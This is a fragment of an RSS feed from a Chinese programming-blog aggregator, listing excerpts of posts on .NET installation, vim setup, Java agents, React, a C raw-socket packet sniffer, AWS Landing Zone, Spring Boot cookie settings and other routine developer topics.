      <guid>https://bchobby.github.io/posts/eac2698dc2867839904acb2c96e1bd50/</guid>
      <description> 因为需要在window10上安装.NET Framework 3.5 SP1，下载了脱机包，安装时发现还是要联机更新，并报错：0x800F0954，网上说的方法都无效。&#xA;后来在微软官网发现脱机包只适用于 Windows 10 之前的 Windows 版本（见：在 Windows 11、Windows 10、Windows 8.1 和 Windows 8 上安装 .NET Framework 3.5）。&#xA;于是决定使用官网《使用部署映像服务和管理 (DISM) 部署 .NET Framework 3.5》介绍的方 ，用DISM命令行来进行安装，一开始错误的以为安装媒体就是下载的脱机安装包，出现了错误：0x800F081F，没找到安装源，最后通过认真阅读官网文字，发现安装媒体指的是windows安装光盘（并不是脱机安装包），用安装光盘终于解决完成了安装。&#xA;安装源就是上面的包。 </description>
    </item>
    <item>
      <title>基于vim的开发编辑器配置</title>
      <link>https://bchobby.github.io/posts/077e188ab0011927d21c71049ab8feca/</link>
      <pubDate>Fri, 29 Dec 2023 14:55:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/077e188ab0011927d21c71049ab8feca/</guid>
      <description>整体的vim的设置是在 /etc/vim/vimrc 文件中。如果想设置所有用户的配置，在里面设置就可以了,配置和.vimrc是一样的，在最后面添加下面2中的语句。&#xA;不建议修改/etc/vimrc 文件，每个用户可以在用户根目录中设置vim，新建.vimrc。命令如下：&#xA;vim ~/.vimrc 在终端下使用vim进行编辑时，默认情况下，编辑的界面上是没有显示行号、语法高亮度显示、智能缩进等功能的。为了更好的在vim下进行工作，需要手动设置一个配置文件：.vimrc。&#xA;需要通过安装很多插件来完成功能，这里直接将~/.vimrc文件发给大家，大家直接替换就可以了。&#xA;我的vim配置主要有以下优点：&#xA;1.按F5可以直接编译并执行C、C++、java代码以及执行shell脚本，按“F8”可进行C、C++代码的调试 2.自动插入文件头 ，新建C、C++源文件时自动插入表头：包括文件名、作者、联系方式、建立时间等，读者可根据需求自行更改 3.映射“Ctrl + A”为全选并复制快捷键，方便复制代码 4.按“F2”可以直接消除代码中的空行 5.“F3”可列出当前目录文件，打开树状文件目录 6.支持鼠标选择、方向键移动 7.代码高亮，自动缩进，显示行号，显示状态行 8.按“Ctrl + P”可自动补全 9.[]、{}、()、”“、’ ‘等都自动补全 10.其他功能读者可以研究以下文件 map &amp;lt;F9&amp;gt; :call SaveInputData()&amp;lt;CR&amp;gt; func! SaveInputData() exec &#34;tabnew&#34; exec &#39;normal &#34;+gP&#39; exec &#34;w! /tmp/input_data&#34; endfunc &#34;colorscheme torte &#34;colorscheme murphy &#34;colorscheme desert &#34;colorscheme desert &#34;colorscheme elflord colorscheme ron &#34;set fencs=utf-8,ucs-bom,shift-jis,gb18030,gbk,gb2312,cp936 &#34;set termencoding=utf-8 &#34;set encoding=utf-8 &#34;set fileencodings=ucs-bom,utf-8,cp936 &#34;set fileencoding=utf-8 &#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34; &#34; 显示相关 &#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34;&#34; &#34;set shortmess=atI &#34;</description>
    </item>
    <item>
      <title>JS和TS的基础语法学习以及babel的基本使用</title>
      <link>https://bchobby.github.io/posts/2f8e408d718be87f96b10417232175d6/</link>
      <pubDate>Fri, 29 Dec 2023 14:52:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f8e408d718be87f96b10417232175d6/</guid>
      <description>简介 本文主要介绍了一下js和ts的基础语法,为前端开发zuo&#xA;JavaScript 更详细的 JavaScript 学习资料：https://developer.mozilla.org/zh-CN/docs/Web/JavaScript&#xA;简介 定位 : JavaScript 是一种动态语言，它包含类型、运算符、标准内置（ built-in）对象和方法。在基本语法方面，JavaScript 有很多和 C/C++相似的地方,经常在浏览器开发中使用&#xA;依附宿主 : 与大多数编程语言不同，JavaScript 没有输入或输出的概念。它是一个在宿主环境（host environment）下运行的脚本语言，任何与外界沟通的机制都是由宿主环境提供的。浏览器是最常见的宿主环境，但在非常多的其他程序中也包含 JavaScript 解释器，如 Adobe Acrobat、Adobe Photoshop、SVG 图像、Yahoo! 的 Widget 引擎，Node.js之类的服务器端环境。&#xA;标准 : 我们有时候也会看到 ECMAScript 或者 ES6 之类的称呼，ECMA 是 JavaScript 的标准化组织，ECMAScript 是针对 JavaScript 语言制定的标准，之所以不叫 JavaScript，是因为 Java 和 JavaScript 的商标都被注册了。因此 ECMAScript 和 JavaScript 的关系是，前者是后者的规格，后者是前者的一种实现（另外的 ECMAScript 方言还有 JScript 和 ActionScript）&#xA;运行环境 安装js解释器node.js,终端输入npm -v检查是否安装成功&#xA;安装vscode插件code runner便于运行js代码&#xA;然后就可以ctrl+alt+N或者点击顶部有个三角形的图标就可以运行js代码了,另外js也可以直接F5运行&#xA;console.log(&#34;Hello World&#34;) 或者终端输入&#xA;node js/learn.js 数据类型 Number（数字）&#xA;3/2=1.5(默认浮点运算)特殊的值 NaN（Not a Number 的缩写），如果把 NaN 作为参数进行任何数学运算，结果也会是 NaN。NaN如果通过 == 、 !</description>
    </item>
    <item>
      <title>如何编写一个javaAgent jar工具包超详细教程</title>
      <link>https://bchobby.github.io/posts/2501230de9cca159fa1699ec5aa7b53a/</link>
      <pubDate>Fri, 29 Dec 2023 14:49:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2501230de9cca159fa1699ec5aa7b53a/</guid>
      <description>介绍 Java Agent技术 Java Agent技术是JDK提供的用来编写Java工具的技术，使用这种技术生成一种特殊的jar包，这种jar包可以让Java程序&#xA;运行其中的代码。&#xA;Java Agent技术的两种模式 Java Agent技术实现了让Java程序执行独立的Java Agent程序中的代码，执行方式有两种：&#xA;⚫ 静态加载模式&#xA;⚫ 动态加载模式&#xA;Java Agent技术的两种模式 - 静态加载模式 静态加载模式可以在程序启动的一开始就执行我们需要执行的代码，适合用APM等性能监测系统从一开始就监控程序&#xA;的执行性能。静态加载模式需要在Java Agent的项目中编写一个premain的方法，并打包成jar包。&#xA;接下来使用以下命令启动Java程序，此时Java虚拟机将会加载agent中的代码并执行&#xA;premain方法会在主线程中执行：&#xA;Java Agent技术的两种模式 – 动态加载模式 动态加载模式可以随时让java agent代码执行，适用于Arthas等诊断系统。动态加载模式需要在Java Agent的项目中编&#xA;写一个agentmain的方法，并打包成jar包&#xA;接下来使用以下代码就可以让java agent代码在指定的java进程中执行了。&#xA;agentmain方法会在独立线程中执行：&#xA;搭建java agent静态加载模式的环境 步骤： 1、创建maven项目，添加maven-assembly-plugin插件，此插件可以打包出java agent的jar包。&#xA;2、编写类和premain方法，premain方法中打印一行信息。&#xA;3、编写MANIFEST.MF文件，此文件主要用于描述java agent的配置属性，比如使用哪一个类的&#xA;premain方法。&#xA;4、使用maven-assembly-plugin进行打包。&#xA;5、创建spring boot应用，并静态加载上一步打包完的java agent。&#xA;步骤1-4&#xA;代码（使用jdk17编辑）:&#xA;目录结构:&#xA;maven 项目 pom.xml 文件（关注代码点插件位置）&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;groupId&amp;gt;org.example&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;itheima-agent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;maven.compiler.source&amp;gt;17&amp;lt;/maven.compiler.source&amp;gt; &amp;lt;maven.</description>
    </item>
    <item>
      <title>如何在MAC OS中的XCODE下添加 ＜bits/stdc&#43;&#43;.h＞</title>
      <link>https://bchobby.github.io/posts/5b2a90d9685a372054c613ec4687b221/</link>
      <pubDate>Fri, 29 Dec 2023 14:39:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b2a90d9685a372054c613ec4687b221/</guid>
      <description>mac上使用的编译器是Clang，但是没有万能头文件bits/stdc++.h\，本文介绍如何添加万能头文件&#xA;Xcode 版本：15.1&#xA;- 打开应用程序-Xcode-右键显示包内容&#xA;Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include&#xA;低版本： Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1 - 在该文件夹下创建文件名为 bits 文件夹&#xA;- 创建stdc++.h头文件 代码如下，也可直接下载导入，资源置顶免费下载&#xA;// C++ includes used for precompiling -*- C++ -*- // Copyright (C) 2003-2014 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the // terms of the GNU General Public License as published by the // Free Software Foundation; either version 3, or (at your option) // any later version.</description>
    </item>
    <item>
      <title>2024前端React最新面试题：React设计思想是什么？</title>
      <link>https://bchobby.github.io/posts/fc6dff9283e58ed769531cbf4d1715ee/</link>
      <pubDate>Fri, 29 Dec 2023 14:36:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc6dff9283e58ed769531cbf4d1715ee/</guid>
      <description>React设计思想是什么？ 回答思路：react的组件化--&amp;gt;react的数据驱动--&amp;gt;react的虚拟DOMreact的组件化数据驱动视图虚拟DOM 回答思路：react的组件化–&amp;gt;react的数据驱动–&amp;gt;react的虚拟DOM react的组件化 每个组件都符合开放封闭原则，封闭是针对渲染工作来说的，指的是组件内部的状态都由自身维护，只处理自身内部的渲染逻辑。开放是针对通信来说的，指不同组件之间可以通过props等进行数据交互&#xA;数据驱动视图 UI = function(data),通过这个公式得出，如果要渲染界面，不应该直接操作DOM，而是通过修改state或props来驱动视图更新&#xA;虚拟DOM 由浏览器的渲染可知DOM操作是一个很耗性能的一个操作，因此产生了虚拟DOM，虚拟DOM是对真实DOM的映射，React通过新旧DOM的对比，得出需要更新数据的部分，实现数据的增量更新</description>
    </item>
    <item>
      <title>原始套接字IP报文嗅探</title>
      <link>https://bchobby.github.io/posts/e320b03a855230a5f15c66f93ee85880/</link>
      <pubDate>Fri, 29 Dec 2023 14:33:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e320b03a855230a5f15c66f93ee85880/</guid>
      <description>一个简单的Sniffer程序，可以用来捕获和打印接收到的IP数据包。&#xA;实现多IP报文、ARP、TCP和UDP的简单打印，&#xA;IP报文0800&#xA;ARP报文0806&#xA;TCP：6&#xA;UDP：17&#xA;ICMP：1&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;stdint.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; #include &amp;lt;sys/socket.h&amp;gt; #include &amp;lt;sys/types.h&amp;gt; #include &amp;lt;linux/if_ether.h&amp;gt; #include &amp;lt;linux/in.h&amp;gt; //#include &amp;lt;arpa/inet.h&amp;gt; #define BUFFER_MAX 2048 struct my_ethhdr { unsigned char h_dest[ETH_ALEN]; unsigned char h_source[ETH_ALEN]; unsigned short h_proto; }; struct my_arphdr { unsigned short ar_hrd; unsigned short ar_pro; unsigned char ar_hln; unsigned char ar_pln; unsigned short ar_op; unsigned char ar_sha[ETH_ALEN]; unsigned char ar_sip[4]; unsigned char ar_tha[ETH_ALEN]; unsigned char ar_tip[4]; }; struct my_iphdr { unsigned char ihl:4, version:4; unsigned char tos; unsigned short tot_len; unsigned short id; unsigned short frag_off; unsigned char ttl; unsigned char protocol; unsigned short check; unsigned int saddr; unsigned int daddr; }; struct my_tcphdr { unsigned short source; unsigned short dest; unsigned int seq; unsigned int ack_seq; unsigned short res1:4, doff:4, fin:1, syn:1, rst:1, psh:1, ack:1, urg:1, res2:2; unsigned short window; unsigned short check; unsigned short urg_ptr; }; struct my_udphdr { unsigned short source; unsigned short dest; unsigned short len; unsigned short check; }; struct my_icmphdr { uint8_t type; uint8_t code; uint16_t checksum; uint32_t data; }; void uint32_ip_2_str_ip(uint32_t ip,char *str_ip) { unsigned char bytes[4]; bytes[0] = (ip &amp;gt;&amp;gt; 24) &amp;amp; 0xFF; bytes[1] = (ip &amp;gt;&amp;gt; 16) &amp;amp; 0xFF; bytes[2] = (ip &amp;gt;&amp;gt; 8) &amp;amp; 0xFF; bytes[3] = ip &amp;amp; 0xFF; sprintf(str_ip,&#34;</description>
    </item>
    <item>
      <title>深度学习框架:Tensorflow和pytorch、PaddlePaddle比较</title>
      <link>https://bchobby.github.io/posts/5e94eca77c06a4afdf6a3738a7091b24/</link>
      <pubDate>Fri, 29 Dec 2023 14:32:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e94eca77c06a4afdf6a3738a7091b24/</guid>
      <description>Tensorflow和pytorch、PaddlePaddle都是非常优秀的深度学习框架，它们各自有着独特的优势和特点。下面是它们之间的一些比较：&#xA;易用性： PyTorch：以简洁、直观的设计思想著称，易于学习和使用。它采用动态图模式，更加灵活，允许用户动态构建计算图，便于调试和开发。PaddlePaddle：注重易用性和高性能，并提供了灵活的动态图和高效的静态图两种模式，用户可以根据需求选择适合的模式。PaddlePaddle的中文文档写的非常清楚，上手比较简单。TensorFlow：设计上更加复杂，学习曲线相对较陡。它采用静态图模式，先构建计算图，然后再进行执行。静态图在执行前需要经过编译优化，性能相对较高。&#xA;性能：&#xA;在相同的硬件条件下，TensorFlow 的运算速度要远远快于其他框架。&#xA;PyTorch通常具有更快的运算速度，但占用的内存空间要比 TensorFlow 小。&#xA;PaddlePaddle 在 CPU 上运行速度快、占用内存少，GPU 上运行速度更快、占用内存更少。 社区活跃度： TensorFlow 有著名的研究团队支持，有丰富的官方教程和文档。PyTorch 的开发者很活跃，GitHub 库中有众多的项目可供参考。PaddlePaddle 没有太强大的研究团队支持，但已经成为中国深度学习领域的主流框架之一。 功能和扩展性： PyTorch：功能与PaddlePaddle相似，更加灵活和易用，支持动态图和静态图两种方式，并且可以在移动设备上运行。TensorFlow：功能非常强大，提供了丰富的工具和库，支持分布式训练、高性能计算等功能，但也有较为复杂的API和使用门槛。PaddlePaddle：功能比较全面，支持分布式训练、模型压缩、自动求导等高级功能，同时也提供了较为简单易用的API。 综上所述，Tensorflow和pytorch、PaddlePaddle都是优秀的深度学习框架，选择哪个框架取决于你的具体需求和使用场景。如果你需要一个简单易用、灵活的框架，可以考虑使用PyTorch或PaddlePaddle；如果你需要一个功能强大、性能优越的框架，可以考虑使用TensorFlow。</description>
    </item>
    <item>
      <title>安卓开发学习笔记</title>
      <link>https://bchobby.github.io/posts/0212702eac28c9119c8a05058f63c265/</link>
      <pubDate>Fri, 29 Dec 2023 14:32:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0212702eac28c9119c8a05058f63c265/</guid>
      <description>Android发展历史&#xA;开发工具&#xA;Android Studio&#xA;安装工具&#xA;下载页面：下载 Android Studio 和应用工具 - Android 开发者 | Android Developers&#xA;安装步骤&#xA;要求代理，关闭就可以&#xA;下载SDK&#xA;完成后创建新项目&#xA;工程目录结构&#xA;编译配置文件&#xA;界面与逻辑处理&#xA;利用XML标记描绘应用界面，使用java代码书写程序逻辑&#xA;上图的LinearLayout相当于父节点，TextView相当于叶子节点。&#xA;LinearLayout中的：&#xA;orientation：布局&#xA;vertical：线性布局&#xA;gravity=&#34;center&#34;：居中&#xA;TextView中的：&#xA;id：为这个标签的id&#xA;layout_width：长度&#xA;layout_height：宽度&#xA;wrap_content：自适应大小&#xA;text：文本内容&#xA;Acticity创建与跳转&#xA;1.在res下的layout文件夹下创建一个xml文件 2.在res下的values文件夹下的strings.xml写入代码&#xA;3.在创建java类与MainActivity同济即可编写代码&#xA;4.在清单文件AndroidManifest.xml中写入代码&#xA;也可以通过工具快速的创建&#xA;跳转&#xA;1.在xml加入button标签&#xA;2.在java类中编写代码&#xA;演示效果&#xA;努力学习中~</description>
    </item>
    <item>
      <title>【效率】我的科研工具链分享（CS/AI方向）</title>
      <link>https://bchobby.github.io/posts/9f742ea1e837feba60b3e220680699b4/</link>
      <pubDate>Fri, 29 Dec 2023 14:30:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f742ea1e837feba60b3e220680699b4/</guid>
      <description>作者丨JerryYin777@知乎&#xA;来源丨https://zhuanlan.zhihu.com/p/670185945&#xA;编辑丨极市平台&#xA;我的科研工具链分享 CS/AI方向为主，所有软件支持Windows和MacOS双端&#xA;我的Github：JerryYin777 - Overview&#xA;https//github.com/JerryYin777&#xA;本知乎文章同步Github仓库（未来同步更新），如果对你有用，可以点个Star：GitHub - JerryYin777/Cr_Research_Toolchain: 我的科研工具链分享&#xA;https//github.com/JerryYin777/Cr_Research_Toolchain&#xA;文献阅读器 常规PDF：Adobe Acrobat&#xA;https//www.adobe.com/acrobat.html&#xA;好处：PDF格式发明公司Adobe的工具软件，阅读体验好，能够编辑，分割，合并PDF(网页平替工具 IlovePDF：https//www.ilovepdf.com/&#xA;坏处：不能内置翻译工具，对于英语不好的人会有一定的压力&#xA;文献阅读器：Zotero：https//www.zotero.org/&#xA;好处：便捷的文献管理工具，多端云同步(iPad，iPhone，电脑)，可自带 翻译工具(https//github.com/windingwind/zotero-pdf-translate) ，自带文献导出功能，自带网页端文献一键保存(Zotero Connector)，可集成ChatPaper(https//github.com/MuiseDestiny/zotero-gpt) 功能&#xA;坏处：云环境存储容量免费只有300M，多了要付费(只能保存在本地)&#xA;笔记管理 Notion(https//www.notion.so/product)&#xA;好处：多端云同步，Database格式数据存储，教育版无存储上限，集成NotionAI&#xA;An Example&#xA;Typora&#xA;适合写点小东西，排版优美，markdown富文本编辑，数学公式友好，可以很方便改Theme&#xA;Hackmd.io(https//hackmd.io/%3Fnav%3Doverview)&#xA;在线Markdown，方便分享&#xA;论文在哪找 Google Scholar(https//scholar.google.com/)&#xA;Arxiv(https//arxiv.org/) 【每日学术推荐：https://arxivdaily.com】&#xA;SCIHub(https//sci-hub.ren/) （免费白嫖SCI，知识共产）&#xA;ReadPaper(https//readpaper.com/) （国产Paper阅读平台）&#xA;Zlibrary：世界上最大的图书资料网站&#xA;Paper With Code：带Code的论文，更适用于AI&#xA;Github带Awesome的仓库(例如：https://github.com/youngfish42/Awesome-FL(https//github.com/youngfish42/Awesome-FL )&#xA;科研信息源 Twitter/X 、LinkedIn：掌握一线最新科研成果，认识很多PhD &amp;amp; AP&#xA;ConnectedPaper(https//www.connectedpapers.com/)&#xA;Inoreader&#xA;RSS阅读器，排除推荐算法的干扰&#xA;配合 RSSHub(https//docs.rsshub.app/) 使用更香，Everything is RSSible（赞美DIYGOD大佬）&#xA;AI三大顶会(新智元、机器之心、量子位)：最前沿的AI讯息，不过带了很多吹水的成分，小白可以看看，方便了解行业讯息&#xA;如何找科研机会（陶瓷，但是前提是你最好做好一个学术个人主页，中英文简历各做一份）&#xA;知乎&#xA;一亩三分地、某些群聊(境外)</description>
    </item>
    <item>
      <title>出海合规云安全，AWS Landing Zone解决方案建立安全着陆区</title>
      <link>https://bchobby.github.io/posts/1a2e9695a8ce96430bb43e12e723ba88/</link>
      <pubDate>Fri, 29 Dec 2023 14:27:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a2e9695a8ce96430bb43e12e723ba88/</guid>
      <description>在出海的大环境中，企业数字化转型的趋势之一就是上云。然而，上云也带来了新的挑战，特别是对企业的 IT 建设和管理提出了更高的要求。为了构建一个安全合规的云上信息系统环境，满足企业中不同用户的快速增长、资源访问可控、成本可控以及与本地数据中心安全网络连接的需求，并且能够满足审计需求并以较低的管理成本来达成管理要求，企业的IT管理部门需要考虑在云上建立安全着陆区(Security Landing Zone)，以此来构建一个安全合规、能满足各种业务要求的安全云环境，下面九河云为大家展开介绍AWS Landing Zone解决方案：&#xA;AWS Landing Zone是一种基于AWS云服务的解决方案，旨在帮助企业快速、安全地构建和管理多账号、多区域的云基础设施环境。它提供了一套预定义的最佳实践和自动化工具，帮助企业在AWS上快速创建安全合规的基础设施，以及确保整个云环境的可控性、可扩展性和高可用性。&#xA;AWS Landing Zone的实现主要包括以下几个关键步骤：&#xA;1. 架构设计：根据企业的需求和最佳实践，设计AWS Landing Zone的架构。这包括定义账号结构、网络架构、安全策略等。&#xA;2. 自动化部署：利用AWS CloudFormation等自动化工具，快速创建和部署AWS Landing Zone环境。通过模板定义代码的方式，实现基础架构的自动化部署和配置。&#xA;3. 安全设置：配置AWS Identity and Access Management（IAM）策略、网络访问控制列表（Network ACL）、安全组等，确保资源的安全访问和控制。&#xA;4. 连接和集成：配置AWS Direct Connect、Amazon Virtual Private Cloud（VPC）对等连接等，实现AWS云环境与本地数据中心的连接和集成。&#xA;5. 运维和监控：利用AWS CloudWatch等服务，进行运维和监控，实现资源的自动化管理、日志记录、事件响应等。&#xA;AWS Landing Zone的业务价值主要体现在以下几个方面：&#xA;1. 加速上云：通过AWS Landing Zone，企业可以快速构建和部署安全合规的云基础设施环境，减少IT基础设施的构建时间和复杂性。&#xA;2. 提高可控性和安全性：AWS Landing Zone提供了一套最佳实践和自动化工具，帮助企业确保资源的可控性和安全性。通过标准化和自动化的方式，降低了人为错误的风险。&#xA;3. 支持扩展性和弹性：AWS Landing Zone的架构设计可以支持企业快速扩展和灵活调整资源，满足业务的快速增长需求。&#xA;4. 降低管理成本：通过自动化部署和管理，AWS Landing Zone可以降低IT管理的复杂性和工作量，减少人力和时间成本。&#xA;总之，AWS Landing Zone提供了一种基于最佳实践和自动化工具的解决方案，帮助企业快速、安全地构建和管理AWS云基础设施环境。它不仅提供了快速上云的能力，还提高了可控性、安全性和扩展性，并降低了管理成本，为企业的数字化转型提供了强大的支持和业务价值。</description>
    </item>
    <item>
      <title>Springboot配置http-Only</title>
      <link>https://bchobby.github.io/posts/5c22e83238fcd2dbf0b9c4376b53daaf/</link>
      <pubDate>Fri, 29 Dec 2023 14:22:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c22e83238fcd2dbf0b9c4376b53daaf/</guid>
      <description> 项目框架 jdk1.8、springboot2.5.10&#xA;情况一 项目中未使用（权限认证框架：Sa-Token）&#xA;application.yml文件内增加配置&#xA;server.servlet.session.cookie.http-only=trueserver.servlet.session.cookie.secure=true (此条配置建议也加上) 情况二 项目中使用（权限认证框架：Sa-Token）&#xA;使用Sa-Token会使“server.servlet.session.cookie.http-only=true”配置失效，因为框架会重写cookie。&#xA;application.yml文件内增加配置&#xA;# Sa-Token 配置 sa-token: # Cookie 相关配置 cookie: secure: true httpOnly: true 成功截图 </description>
    </item>
    <item>
      <title>单纯形的几何意义 Simplex</title>
      <link>https://bchobby.github.io/posts/11bc4a9857219485a6d7e67985b38b7a/</link>
      <pubDate>Fri, 29 Dec 2023 14:20:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/11bc4a9857219485a6d7e67985b38b7a/</guid>
      <description>单纯形是 n 维空间 n+1 个仿射无关的点的集合的凸包。在几何意义上：&#xA;1维单纯形是一个线段2维单纯形是一个三角形3维单纯形是一个四面体（tetrahedron）</description>
    </item>
    <item>
      <title>密码输入时的隐藏显示和显示</title>
      <link>https://bchobby.github.io/posts/f707c52294ec1688e4d569bf484d70bb/</link>
      <pubDate>Fri, 29 Dec 2023 14:18:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f707c52294ec1688e4d569bf484d70bb/</guid>
      <description>前些天发现了一个人工智能学习网站，通俗易懂，风趣幽默，最重要的屌图甚多，忍不住分享一下给大家。点击跳转到网站。&#xA;我们先看一下展示：&#xA;代码展示：&#xA;&amp;lt;form action=&#34;&#34;&amp;gt; &amp;lt;div class=&#34;form-group&#34;&amp;gt; &amp;lt;label for=&#34;password&#34;&amp;gt;Password&amp;lt;/label&amp;gt; &amp;lt;input id=&#34;password&#34; type=&#34;password&#34; required /&amp;gt; &amp;lt;button type=&#34;button&#34; title=&#34;Reveal Password&#34; aria-pressed=&#34;false&#34;&amp;gt; &amp;lt;svg viewBox=&#34;0 0 24 24&#34; fill=&#34;none&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&amp;gt; &amp;lt;defs&amp;gt; &amp;lt;mask id=&#34;eye-open&#34;&amp;gt; &amp;lt;path d=&#34;M1 12C1 12 5 4 12 4C19 4 23 12 23 12V20H12H1V12Z&#34; fill=&#34;#D9D9D9&#34; stroke=&#34;black&#34; stroke-width=&#34;1.5&#34; stroke-linejoin=&#34;round&#34; /&amp;gt; &amp;lt;/mask&amp;gt; &amp;lt;mask id=&#34;eye-closed&#34;&amp;gt; &amp;lt;path d=&#34;M1 12C1 12 5 20 12 20C19 20 23 12 23 12V20H12H1V12Z&#34; fill=&#34;#D9D9D9&#34; /&amp;gt; &amp;lt;/mask&amp;gt; &amp;lt;/defs&amp;gt; &amp;lt;path class=&#34;lid lid--upper&#34;</description>
    </item>
    <item>
      <title>汽车动力电池</title>
      <link>https://bchobby.github.io/posts/8e5e5d04eeccc2c21285e4b9dce6de93/</link>
      <pubDate>Fri, 29 Dec 2023 14:08:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e5e5d04eeccc2c21285e4b9dce6de93/</guid>
      <description>1 CE SMPS&#xA;1.1 术语&#xA;DSCG：Discharge，VBUS下拉放电电阻&#xA;flyback：反激&#xA;forward：正激&#xA;LISN：Line Impedance Stabilization Network&#xA;SMPS：Switching Mode Power Supplies，开关电源的变压器在整流桥之后，其它电源的变压器是在整流桥之前。220V交流电全桥整流输出的是脉动直流电，电压是0.9倍输入电压也就是200V左右，如果输出加上大电容滤波蓄能，输出电压是1.41倍输入电压，差不多就是310V。整流之后送到开关电源的PWM调整管，再通过变压器变压&#xA;Y电容：安规电容，成对出现，连接Line-GND和NULL-GND端&#xA;电子镇流器：镇住日光灯的电流；电感镇流器是依靠“电感中的电流不能突变”的特性，“镇”住灯管中气体击穿时的大电流，使电流稳定在规定值&#xA;1.2 普通稳压电源和开关电源的区别&#xA;普通稳压电源 - 利用变压器降压再整流的串联型稳压，由采样电路去控制电源调整管的导通电流来改变电源内阻，从而使输出电压稳定。串联型稳压电源的效率小于50%。&#xA;开关电源 - 直接整流，获得高压直流，由高频震荡器控制开关管的通断的时间比例来调整输出电压。开关型电源电路有串联型和并联型两种，开关型稳压电源的优点是效率高，因为开关状态下的晶体管自身消耗的功率很小，可以达到70-80%甚至更高的效率，而且不用降压变压器，其输出变压器由于是工作在高频，其体积远小于50赫的工频变压器。所以开关型电源的电路小巧轻便。开关型电源可以在较大的电压范围正常工作。&#xA;开关电源工作流程：&#xA;整流桥 - 开关管（次级侧USB PD芯片控制初级侧PWM芯片，初级侧PWM芯片输出PWM脉冲控制开关管）- 脉冲变压器 - 同步整流管 - DC输出&#xA;1.3 整流桥用二极管&#xA;1N4007是一种常用的整流二极管，常用于桥式整流电路。因为二极管是一个PN结组成，所以开头是1N也就是一个PN结，1N开头的都是二极管，2N开头的就是三极管。4007就是管子的型号。&#xA;参数如下：&#xA;较强的正向浪涌承受能力：30A&#xA;最大正向平均整流电流：1.0A&#xA;极限参数为VRM ≥ 50V&#xA;最高反向耐压：1000V&#xA;1.4 变压器初次级线圈匝数比和开关管占空比计算&#xA;1.5 电荷泵&#xA;电荷泵是一种无电感式DC-DC转换器，利用电容作为储能元件来进行电压电流的变换。半压电荷泵（2:1 charge pump）可以使输出电压减半、输出电流加倍，转换效率可以达到97%以上。&#xA;1.6 USB PD大功率输出电源&#xA;LLC控制器输出固定电压 + 二次降压实现多口PD快充&#xA;2 动力电池&#xA;2.1 GB38031—2020&#xA;由许多电动汽车车企参与制定的GB38031—2020电池标准，规定电池热失控后5分钟以内给出报警信号。&#xA;2.2 磷酸铁锂电池&#xA;磷酸铁锂天生的SOC不准，必须充到100%去校准。&#xA;所有的锂电池满放都极伤害，满充也伤，但没满放那么严重。&#xA;2.3 MCU</description>
    </item>
    <item>
      <title>Thread</title>
      <link>https://bchobby.github.io/posts/d97477d6d8a838ead9348185bb5b6742/</link>
      <pubDate>Fri, 29 Dec 2023 13:32:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d97477d6d8a838ead9348185bb5b6742/</guid>
